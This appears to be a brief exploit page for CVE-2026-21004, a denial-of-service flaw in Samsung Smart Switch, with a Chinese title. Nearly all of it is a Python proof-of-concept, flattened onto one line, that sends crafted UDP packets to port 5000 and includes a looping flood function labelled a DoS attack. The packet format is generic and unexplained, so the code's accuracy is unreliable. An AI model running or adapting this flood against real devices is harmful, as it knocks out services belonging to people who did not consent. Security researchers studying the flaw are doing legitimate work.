CVE-2026-21004: Samsung Smart Switch身份验证缺陷导致拒绝服务

# CVE-2026-21004 PoC - Samsung Smart Switch DoS via Improper Authentication # This PoC demonstrates the concept of triggering DoS via malformed network requests # Note: For authorized security testing only import socket import struct import time def send_malformed_request(target_ip, port=5000): """ Send a malformed request to Samsung Smart Switch service to trigger DoS condition due to improper authentication """ try: # Construct malformed packet that bypasses authentication # Smart Switch uses custom protocol on this port packet = b'SSWT' # Magic header packet += struct.pack('>I', 0x01) # Packet type packet += struct.pack('>I', 0x00) # Flags packet += b'\x00' * 100 # Malformed payload sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) print(f"[*] Sending malformed request to {target_ip}:{port}") sock.sendto(packet, (target_ip, port)) try: response, addr = sock.recvfrom(1024) print(f"[+] Received response: {response.hex()}") except socket.timeout: print("[-] No response received - target may be affected") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False def dos_attack(target_ip, port=5000, duration=30): """ Denial of Service attack simulation Continuously send malformed requests to exhaust resources """ print(f"[*] Starting DoS attack against {target_ip}") start_time = time.time() request_count = 0 while time.time() - start_time < duration: if send_malformed_request(target_ip, port): request_count += 1 time.sleep(0.1) print(f"[*] Attack completed. Sent {request_count} requests") if __name__ == "__main__": # Configuration target_ip = "192.168.1.100" # Target device IP target_port = 5000 # Smart Switch service port # Single probe test send_malformed_request(target_ip, target_port) # For authorized testing only: # dos_attack(target_ip, target_port, duration=30)